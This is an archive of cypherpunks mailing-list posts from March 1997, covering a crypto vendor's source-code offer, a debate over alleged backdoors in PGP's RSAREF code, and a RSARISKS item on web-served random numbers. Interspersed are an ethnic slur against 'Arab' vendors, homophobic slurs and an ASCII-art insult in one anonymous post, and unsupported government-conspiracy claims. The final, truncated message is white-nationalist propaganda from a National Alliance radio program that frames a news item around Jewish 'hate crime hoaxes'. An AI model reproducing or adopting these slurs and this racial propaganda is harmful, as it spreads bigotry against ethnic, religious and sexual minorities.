Maybe they're afraid that if they express their views on the snake oil
vendor you originally criticized, they too will get lawyer threats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <3328EB21.69DC@sk.sympatico.ca>
Message-ID: <LZ7J4D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> > DataETRsch@aol.com wrote:
> > > Greetings! DataET Research, Data Engineering Technologies, has recently
> > > initiated the distribution of VSACM, VSA2048 Cryptography Module.
>
> Igor Chudov @ home wrote:
> > How about your promise to release the source code? I am sure that you,
> > as an honest and honorable man and a businessman who needs trust, will
> > have no problems fulfilling your promise.
> >
> > Your promise is long overdue.
>
> Igor,
>   You have to remember how easily DataRETch's feeling were hurt the last
> time they advertised on the CypherPunks list, when list members 'flamed'
> them with questions like, "How does it work?"
>   So let's try to ask kinder, gentler questions this time around, such
> as, "Do the disks come in pretty colors?"

Some people do feel more comfortable on moderated lists where the moderator
enforces comity - sometimes with lawyer letters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 14 Mar 1997 07:19:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703141519.HAA27477@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone mistitling itself "Truthmonger" writes:

>   Now that you seem to have actually read what I have written, perhaps 
> you might consider reading what you, yourself, have written.
>   I stated my case for contending that PGP=>2.5 has been compromised, 
> and got back wild-eyed demands for proof of that which I did not
> claim, mainly, that PGP had been 'broken.'

>   To reiterate my original observations:
> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy.
> 2. The campaign of persecution against Phil Zimmerman ground to a
> halt once he agreed to PGP using the spook-developed RSAREF subroutines
> to implement the RSA functions, instead of PGP's original subroutines.

>   If people with guns came to me and told me that software I had 
> written now had to use their subroutines, instead of my own, then
> I would consider my software 'compromised', regardless of whether
> or not I could immediately discern any anomalies in it.
>   It is far, far easier to 'build' a back-door, than to 'find' one.

"TM" (I can't bring myself to use it's full name, since it is so
totally inappropriate) has made the following claims:

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

His main arguement rests on the fact that the later versions
of PGP use RSAREF, rather than Phil's own code.

As support of the first claim, he claims:

> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy. 

I'm not sure what you're referring to with "RSA" here - is it the 
algorithm or the company? 

If it's the algorithm, you may or may not have the intellectual capacity 
to verify it yourself - if you don't you have no business telling us it's 
compromised, and if you do, either publish the problem (and claim your 
15 minutes of fame), or admit there is no hole you are aware of. 
There are plenty of people on this list who can follow the math, even
if you can't.

If it's the company, then you are either ignorant or lying. RSA has 
*not* had a good relationship with the USG, as those who have been 
following the matter over the years know well. Most recently, you 
will notice that it has licensed some of it's patents to a Japanese
chip maker in an effort to avoid problems with US export 
restrictions. Is this the action of a USG patsy?

> 2. The campaign
> of persecution against Phil Zimmerman ground to a halt once he
> agreed to PGP using the spook-developed RSAREF subroutines to
> implement the RSA functions, instead of PGP's original subroutines.

PGP 2.5 was released in March 1994, about a year after Phil was
indicted. It took until January 1996 for the indictment to be dropped;
nearly another two years. If a deal was struck, why did it take so
long? The dismissal of Phil's persecution was almost certainly due to
(a) the approach of the statute of limitations, and (b), the very 
high probability that he would be found innocent. if they took him 
to trial. The government simply ran out of legal pretexts under 
which to harass him.

Now that your supporting assertions have been shown to be flawed,
let's return to the original claims.

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

The problem, TM, is that we have full source code, and anyone
with the intelligence and knowledge required can check it
independently. PGP and RSAREF are both distributed as source.
There is not one byte of instructions or data that have to 
be accepted on faith - no precompiled libraries, no mysterious
DLLs or ActiveX controls. 

If there is a backdoor, show it to us.

Your second claim, that it is easier to build a backdoor than to
find one, is true but not pertinant. Let's try an analogy.

1. You buy a house from a builder. You, being paranoid, wonder if
the builder has included a secret door to enable him to
enter the house without your permission. You investigate what you
can, but in the end are left with some doubts.

2. You buy a set of blueprints from the builder, and examine them
carefully for weaknesses. You then buy a plot of land of your choice, 
hire the workers you want, get materials from any supplier you wish. 
You supervise the construction yourself down to the last detail. 
Others who have purchased the same blue prints include trusted 
independent architects and construction engineers, who concur with you 
thatno hidden back doors can be found in the design. At this 
point, how worried are you that the builder has left himself an 
unauthorized entry?

The situation with PGP >=2.5 is like the second scenario, not the 
first.

What it comes down to "TM" is: Put up or shut up. You can't spread
FUD in a situation where there is no unknown to Fear, no Uncertainty
to deal with, and no Doubt that we have all the knowledge we need.

Respond in a substantive manner. So far, you've avoided doing so.

Peter Trei
trei@process.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 09:31:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fred Cohen and dhp.com
Message-ID: <PLek4D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


For a good laugh, check out www.dhp.com where they posted their
e-mail correspondence with Dr. Fred Cohen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 14 Mar 1997 13:19:38 -0800 (PST)
To: an7575@anon.nymserver.com>
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <Pine.LNX.3.95.970314154804.647A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 14 Mar 1997, TruthMonger wrote:

>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
> 
>   I sometimes forget that there are those who do not wish the 
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many 
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
> 
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

I will attempt to address the issues you addressed in your post, although I
don't have the original.  You claimed that rsaref was spook-developed and could
have a backdoor in it.  Also, you said that charges were dropped against PRZ
after PGP was redistributed with rsaref.  I'm not sure whether charges were
actually filed against PRZ for patent infringement, but he included rsaref in
later versions to avoid legal problems.  This has nothing to do with PRZ being
charged with illegally exporting PGP.  These charges were dropped right before
the statue of limitations ran out, not after Phil built PGP with rsaref.

The security of rsaref can be verified pretty easily.  Just create a few test
vectors with another rsa implementation such as SSLeay, the rsa perl script,
or Phil's original rsa code.  If the output matches, then there is not a
backdoor in rsa (unless the same backdoor exists in every implementation of
rsa and/or every C compiler).  It could be that there is a way easier than
factoring to break rsa, but in this case, every version of PGP is insecure, not
just >=2.5 (or there might be a way to factor numbers in polynomial time).

The most likely place that there would be a backdoor would be either in the
key-generation algorithm or in the PRNG.  I'm not sure if much of the
key-generation code was changed between PGP 2.3 and 2.5.  There was a bug in
the PRNG that supposedly made it weaker.

Finally, if you're really concerned about rsaref, use the international
version which does not use rsaref (it's also a lot faster).  I know there's
one version that was developed independantly of the other versions from the
2.3 code.  There could be weaknesses in MD5 and IDEA, but MD5 was always used
so if there is a weakness in MD5, then every version of PGP has this weakness.
IDEA was not developed by the USG or anyone that was likely to be influenced
by the USG.  It was also introduced in 2.0, so if there was a weakness in IDEA,
this would mean that every version of PGP >=2.0 would be insecure.

Although I haven't personally scrutinized the PGP source code, I would say that
there is _very_ little chance that there is a backdoor in it.  It might be
insecure, but if this was true, then most crypto programs would also be
breakable.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMynAhizIPc7jvyFpAQEOawf/WxsQ03rHsAFi6dlCm78ByFmuEWD7aU5Q
UcbMPwLAYcrFUmeNNepgMclQyANyVRMMe14BvXevEV36Y+1KBzohvr9eEjbnu7wp
qqp1U1wE2M6eVNI0/xsp6IMeLGHeKQIcXS5Tf0pS3wqUvKbLPnmzDbruuXqrW75l
Y0cWD+5bA+72LKRDK/Nk3v65pvwm3UFT2Kh3dpd+UA13lyb4W3JEEmUMmbI79Hqp
Ueik1rYjYpWpp9YFLLVfOXug6pQiW/FXhnBgQsxuqnw5Hs/73QM4dyRpmL+QRLe5
X4cgtgwAe1ZgZDEVoyHHJLyCtAyJn5w3qQ8GcSqlwD8bM5b6fjsPfA==
=0iGi
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Fri, 14 Mar 1997 15:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <199703142357.QAA03317@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Some handsome devil named "Truthmonger" writes:
 
> >   I stated my case for contending that PGP=>2.5 has been compromised,
> > and got back wild-eyed demands for proof of that which I did not
> > claim, mainly, that PGP had been 'broken.'
> 
> >   To reiterate my original observations:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
> > 2. The campaign of persecution against Phil Zimmerman ground to a
> > halt once he agreed to PGP using the spook-developed RSAREF subroutines
> > to implement the RSA functions, instead of PGP's original subroutines.
> 
> >   If people with guns came to me and told me that software I had
> > written now had to use their subroutines, instead of my own, then
> > I would consider my software 'compromised', regardless of whether
> > or not I could immediately discern any anomalies in it.
> >   It is far, far easier to 'build' a back-door, than to 'find' one.
> 
> His main arguement rests on the fact that the later versions
> of PGP use RSAREF, rather than Phil's own code.

  It is rather surprising to have anyone on this list actually address
the issues I raised but, all the same, you seem to want to label the
detail you wish to address as my 'main' argument.
 
> As support of the first claim, he claims:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
 
> If it's the algorithm, you may or may not have the intellectual capacity
> to verify it yourself - if you don't you have no business telling us it's
> compromised, and if you do, either publish the problem (and claim your
> 15 minutes of fame), or admit there is no hole you are aware of.
> There are plenty of people on this list who can follow the math, even
> if you can't.

  There seems to be a decided lack of people on this list who can follow
the English language and simply stated concepts.
  Once again, I am asked to 'admit' what I have already made plain.
  What is this neurosis that everyone seems to have regarding PGP which
leads them to demand hard-evidence of malfeasance before suggesting
that one should not bend over in blind trust for encryption systems
whose development was funded by the spooks, and whose method of
implementation is a result of threats and coercion?
  Perhaps the government should have named their Key Escrow schemes 
"Zimmerman Escrow," instead, in order to take advantage of the bum-buddy
mentality among the cypherpunks which seems to hold issues
surrounding their holy icon to a different standard than other systems
of encryption.

  The denziens of the cypherpunks list often have math skills far above
those to be found in some of the related 'science' forums, but they do
not have a monopoly on clever use and manipulation of numbers, bits
and bytes.
  The Navy's Onion Routing system is more sophisticated than their first
cousins, the cypherpunks remailers, and there is no 'visible' hole or
back-door in their work. I have not seen any great rush by anyone with
half-a-brain, however, to indicate the remailers are being abandoned in
favor of the Navy's product.
  Why is that? Could it have anything to do with the same issues I have
raised in regard to RSA implementation?

  I doubt that it would come as a surprise to anyone to know that the
Navy also has mathematicians on the payroll, nor that their tenacles
in the scientific community are not all wearing uniforms and saluting
when their superiors enter the room.
  I also doubt that there are not those among the cypherpunks who are
capable of writing a subroutine to take advantage of unique attributes
of individual algorithms.
  
> RSA has
> *not* had a good relationship with the USG, as those who have been
> following the matter over the years know well. Most recently, you
> will notice that it has licensed some of it's patents to a Japanese
> chip maker in an effort to avoid problems with US export
> restrictions. Is this the action of a USG patsy?

  Their actions resulted in their product infiltrating a market which
is noted for being extremely hard to penetrate. Victims of con games
are seldom fooled by the 'bad guy' in the ruse.

> PGP 2.5 was released in March 1994, about a year after Phil was
> indicted. It took until January 1996 for the indictment to be dropped;
> nearly another two years. If a deal was struck, why did it take so
> long?

  I have never contended that Mr. Zimmerman was part of any direct
"deal" with the government or the prosecutors.
  His reputation capital, in my own mind, is high enough that I am
certain that it would take a phenomenal amount of pressure in order
to get him to betray his principles.
  On the other hand, only a fool would fail to take into consideration
the fact that the government is fully capable of applying a phenomenal
amount of pressure when they feel the stakes are high enough.
  The government, indeed, did not kiss Zimmerman 'on the lips' after 
the 'deal' with RSA was arranged, but they let his case simply run
its natural course, with no additional pressure being applied.

> The government simply ran out of legal pretexts under
> which to harass him.

  Take a whiff of some smelling-salts, Peter. The government 'never' 
runs out of pretexes under which to harass someone who remains an
actionable target in their minds.
  (Where were *you* when J.F.K was shot?)
 
> Now that your supporting assertions have been shown to be flawed,

  ...battered, but still standing.

> let's return to the original claims.
 
> 1. "PGP => 2.5 has been compromised."
> 2. "It is far, far easier to 'build' a back-door, than to 'find'
>     one."
 
> The problem, TM, is that we have full source code, and anyone
> with the intelligence and knowledge required can check it
> independently.

  Check it for what? For 'tricks and techniques' that you *know*
about?
  The fact that an individual has taught you 'everything you know'
does not lead to the conclusion that they have taught you everything
that 'they' know.
  I am sure you will agree, as well, that if a teenage hacker violates
your system, leaving its entrails shredded, that it is small consolation
that their math skills are not on a par with your own. Do people with
superior knowledge of virus' leave their systems open to attack from
unknown techniques? I don't think so.
  Several years ago, I emailed MicroSoft a short post suggesting that
they take steps to prevent their use of macros from being abused. The
reply I received, politely telling me to 'piss off,' informed me that
virus' could *not* be transmitted via "ASCII" files.

> Your second claim, that it is easier to build a backdoor than to
> find one, is true but not pertinant. Let's try an analogy.
 
> 1. You buy a house from a builder. You, being paranoid, wonder if
> the builder has included a secret door to enable him to
> enter the house without your permission. You investigate what you
> can, but in the end are left with some doubts.
 
> 2. You buy a set of blueprints from the builder, and examine them
> carefully for weaknesses. You then buy a plot of land of your choice,
> hire the workers you want, get materials from any supplier you wish.
> You supervise the construction yourself down to the last detail.
> Others who have purchased the same blue prints include trusted
> independent architects and construction engineers, who concur with you
> thatno hidden back doors can be found in the design. At this
> point, how worried are you that the builder has left himself an
> unauthorized entry?

  This is the point at which I realize that the builder has been banging
my wife, and that he 'leaked' a rumor of a 'secret' back-door so that
I would be too busy to notice my wife letting him in the "back door"
that was plainly visible in the blueprints.
  As well, if the blueprint bore the name of Doug Henning, would you be
as secure in your belief that there were no secret doors in place?

> What it comes down to "TM" is: Put up or shut up. 

  Your points are well taken, but far off the mark of the issue I 
raised, which was one of PGP having been "compromised." You make a
strong case for the mathematical strength of RSA implementation 
having been scrupulously investigated, although not an airtight one,
by any means. However, the issue of this or that system having been
"compromised" has more to do with the concept, rather than the
mathematics, of security.

  At the risk of being labeled a tenacle of Dr. Vulis, I will use a
"cocksucker" analogy, this being an area in which all factions of the
cypherpunks list seem to claim knowledge (although on 'opposite'
sides of the fence).

  In the militaristic/spook scheme of things, a system or entity is 
deemed to be "compromised" if there is a *possibility* of what is 
sometimes called a *known/unknown* (KU) factor having been introduced 
into a *controlled* situation or system.
  i.e. During the Cold War, homosexuality was one of the fulcrums which
could be used to pry open the security bonds between an agent and that
agent's controller.
   This was a 'known' factor which raised alarms, and an agent or entity
was deemed to be "compromised," regardless of whether this factor was
considered to be 'unknown' to the enemy. Trusted systems, as we call
them today, were automatically considered to be compromised if there
was reason to suspect that they *could have been* compromised, even if
it was 'unknown' whether or not they actually *were* compromised.

  The case of Alan Turning is a prime example, here. Revelation that 
there existed a fulcrum point which enemy agents could well have used
to compromise his work left it open to valid suspicion.
  It then behooved those with an interest in security matters to 
scrutinize not only his 'numbers,' but also his 'history,' and that
of those around him. It also became in their best interest to assume
that his work *had* been compromised, and to take measures to modify
or alter it in ways that would conceivably affect any methodologies
which were based on hidden designs or schemes.

 
> Respond in a substantive manner. So far, you've avoided doing so.

  The issues I raised were not of 'substance,' but of 'shadows.' 
  Had RSA development and implementation been funded and controlled by
the KGB, then I seriously doubt if the U.S. Military would have embraced
it, no matter what the *numbers* showed.
  If cypherpunks have a lower standard of suspicion, then I am certain
the government would be happy to provide them with *all* the software
they care to use.

>  You can't spread
> FUD in a situation where there is no unknown to Fear, no Uncertainty
> to deal with, and no Doubt that we have all the knowledge we need.

  If there is "no unknown to Fear," then perhaps you would be so kind
to supply me with "substantive" information such as all of the top-
secret government documents concerning encryption and the development
of RSA.
  If there is "no Uncertainty to deal with," then I assume that all
mathematical possibilities have been discovered and are known to all
members of the list, and that there will be no future developments in
the field of mathematics or encryption.
  It there is "no Doubt that (you) have all the knowledge (you) need,"
then there is a fellow I met in Chicago who runs a Pea/Shell game and,
I am certain, would be happy to give you a 'chance' to exercise your
Doubt-muscles.

  Thank you for at least dealing with matters that are in the same
ballpark as the issues I raised, as opposed to arguing over whether
or not the Dodgers could beat the Sharks.
 
TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " C  M" <cookies_monsters@hotmail.com>
Date: Fri, 14 Mar 1997 17:24:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: What's up????.........Re: the Senators Breach either
Message-ID: <199703150124.RAA13611@f18.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


I wanted more info on your outfit, as I saw it on someone's site. What are you
dis'ing me? I got ca. 30 of these, why? 


>From cypherpunks@toad.com Thu Mar 13 17:38:05 1997
>Received: from [206.155.199.12] by smtp1.abraxis.com (NTMail 3.01.03) id
za228903; Thu, 13 Mar 1997 20:43:59 -0500
>Subject: the Senators Breach either
>the either
>Date: Thu, 13 Mar 1997 20:43:59 -0500
>Message-Id: <01435912416227@abraxis.com>
>Bill but
>If and.  of after
>Case presented and the
>of Bankruptcies current to.  declare longer the the
>whatsoever like To any
>the shall.  direct shall
>or 



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 14 Mar 1997 14:41:26 -0800 (PST)
To: ichudov@algebra.com
Subject: VSA2048 Cryptography Module Source Code
Message-ID: <970314174037_-1137100138@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone interested in receiving the source code of VSACM should e-mail
DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
(BTW, about that "if they come in pretty disks" line, very funny.)

Jeremy Yu-Ramos
DataET Research




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 15:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <L8wk4D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com writes:

> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

Please observe the difference between honest crypto vendors and the lying
Arab snake oil salesmen who peddle their web server without source code and
threaten to sue anyone who questions its security.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Mar 1997 16:43:58 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <3329EC05.474D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

  I am happy to see that DataETRsch has developed a sense of humor since
their last visit to the list.
  The CypherPunks name is used by some as a synonym for 'irreverance'.

  The down-side of exposing your product to the scrutiny of the
CypherPunks is that it will be shaken down, battered and bruised,
and you will be confronted with hard questions and skepticism.
  The up-side is that in between the irreverance and the skepticism,
you will get feedback on your product from people whose knowledge of
encryption and cryptography issues is second to none.

  If CypherPunks can't find holes in your product, then it should
plainly be a feather in your cap. If they do find some holes, then
you are better off to know about them now, as opposed to finding out
far down the road, when you have much greater reputation capital
that could be damaged.

  I hope that you indeed have a strong, secure product to offer, as
I regard strong crypto as being of premiere importance in supporting
privacy and freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Mar 1997 21:06:20 -0800 (PST)
To: cryptography@c2.net
Subject: FWD: Hot and cold running randomness
Message-ID: <3.0.1.32.19970314183200.00640df0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The following article was on RISKS Digest.
Obviously it's not usable for cryptographic randomness,
since you can't trust the path to be safe from eavesdroppers
(even if you're using SSL/RC4-128, can you trust the far end?
or from denial of service attacks (so be careful about wiring it in),
but sometimes you just want a good-quality random number to seed things,
such as a simulation program, and it might not be a bad thing to
hash in to your entropy pool with locally-derived sources.
------------------------------

Date: Mon, 10 Mar 1997 13:10:36 -0800
From: dwing@Cisco.COM (Dan Wing)
Subject: Hot and cold running randomness

TBTF's 9 Mar 1997 issue carried this item:

#..Hot and cold running randomness
#
#    Perhaps for the first time, anyone with an Internet connection can
#    tap a source of true randomness. The creator of HotBits [16], John
#    Walker <kelvin@fourmilab.ch>, describes it as
#
#      > an Internet resource that brings genuine random numbers, 
#      > generated by a process fundamentally governed by the inherent
#      > uncertainty in the quantum mechanical laws of nature, directly
#      > to your computer... HotBits are generated by timing successive
#      > pairs of radioactive decays... You order up your serving of
#      > HotBits by filling out a [Web] request form... the HotBits
#      > server flashes the random bytes back to you over the Web.
#
#    Walker modified an off-the-shelf radiation detector to interface to
#    a PC-compatible serial port, and ran a cable three floors down from
#    his office to a converted 70,000-litre subterranean water cistern
#    with metre-thick concrete walls, where the detector nestles with a
#    60-microcurie Krypton-85 radiation source.
#
#    If you're in the mood for an anti-Microsoft rant of uncommon eloquence,
#    Walker can supply that too [17].
#
#    Thanks to Keith Bostic <bostic@bostic.com> for the word on this 
#    delightful service.
#
#    [16] <URL:http://www.fourmilab.ch/hotbits/>
#    [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>

An interesting idea, but hopefully no will use it -- it is too easily
spoofed via DNS, and the host itself could be hacked to return the same
'random' number all the time.  (Maybe after we have IPsec, SecDNS, _and_ you
trust the host we could use services like this on the Internet).

Dan Wing  dwing@cisco.com

------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 14 Mar 1997 17:48:47 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <199703141357.FAA11256@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis get help.

On Fri, 14 Mar 1997, Anonymous wrote:

> The only `culture' Timmy C[ocksucker] May 
> possesses is that cultivated from his foreskin 
> scrapings.
> 
>            O O  Timmy C[ocksucker] May
>             |
>           \___/
>            \_/
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Mar 1997 19:17:58 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A13F5.3889@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:
> Peter Trei wrote:
> > Some handsome devil named "Truthmonger" writes:

> Take a whiff of some smelling-salts, Peter. The government 'never'
> runs out of pretexes under which to harass someone who remains an
> actionable target in their minds.
> (Where were *you* when J.F.K was shot?)

Once you've been labeled a "conspiracy theorist", you should
realize that you've been talking to people who are seeking after
a smaller truth than you are.  Like the newspapers they read,
they'll get the story eventually.

Check out the stiff who's pictured with Phil in the MicroTimes
current issue, his new partner or something.  Phil looks happy,
like they gave him a lifetime supply of double-stuff Oreos.

PGP really needed to be upgraded in several ways that have already
been discussed (briefly!) on the list, but couldn't because:

1. Not enough money to pay to redevelop 60,000+ lines of code that
   would have to be optimized for consumer PC's.

2. BIG pressure from the feds to not implement new technology
  (and by that I don't mean elliptic curves or discrete logs or
   other stuff that was broken years ago).

3. "Competitors" and feds who have years of experience in actual
   disinformation sciences, spreading FUD (this could apply to me,
   of course, but I'm really not that kind of person).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 20:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <Nu8k4D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis get help.

What kind of help can you offer Graham-John

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:35:35 -0800 (PST)
To: DataETRsch@aol.com
Subject: VSACM V2.0 Source Code Request
Message-ID: <199703150531.XAA05190@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos -- 

I would appreciate receiving a copy of the source code for your
encryption software, for the purpose of peer review.

Best regards,

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:43:33 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <33296935.3C5E@gte.net>
Message-ID: <199703150538.XAA05320@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Along the lines of poetry festivals and spambots, I may suggest this.
> > When I was 16, I wrote a prose writing program in Pascal. It read a long
> > text and created a table: as the key, it had pairs of words, and as the
> > data, it had list of all words that follow the pair in the index. The
> > table was generated by a single pass through the source text, where
> > there was a moving 3-word window and first two words were used as the
> > key to the third word. The window moves one word at a time.
> > The loop repeats indefinitely. The text that results looks like it was
> > written by a schizophrenic -- it is more or less correct grammatically,
> > uses more or less compatible words and seems to make sense, but the
> > meaning seems to evade the reader. It is an extremely strange and
> > annoying feeling.
> 
> If an actor really "gets into" their part, could you easily tell
> if the schizophrenia is good acting, or is latent in the actor?
> (BTW, does not apply to O.J. Simpson or Ronald Reagan).

I am not sure if I am a really good expert on mental health. Also,
many people do not quite understand what schizophrenia really is
and how it works. It could well be that no one understands it.

> I hope you're not writing Pascal any more.

Not any more...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Fri, 14 Mar 1997 22:12:16 -0800 (PST)
To: advinfo@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <332A3D06.43FE@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
advinfo@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Reports from Our Correspondents: Racial News from Around the World
by Kevin Alfred Strom 

In this article we will be looking at news items, both profound and
absurd, sent in by ADV listeners around the world, which have been
overlooked or underreported by the controlled media. In a previous
article I detailed a few of the many so-called "hate crimes" that
actually turn out to be hoaxes perpetrated by the so-called oppressed
groups themselves. Just after I filed that article another item was sent
to me which continues the long list of such hoaxes. It's from the
Pensacola News-Journal, June 1, 1996: 

     MIAMI -- A Jewish father and son team were convicted of staging 
     hate crimes by defacing a Jewish school's buses to drum up repair 
     work. 

     Al and Steven Rubin arranged for two teenagers to vandalize school
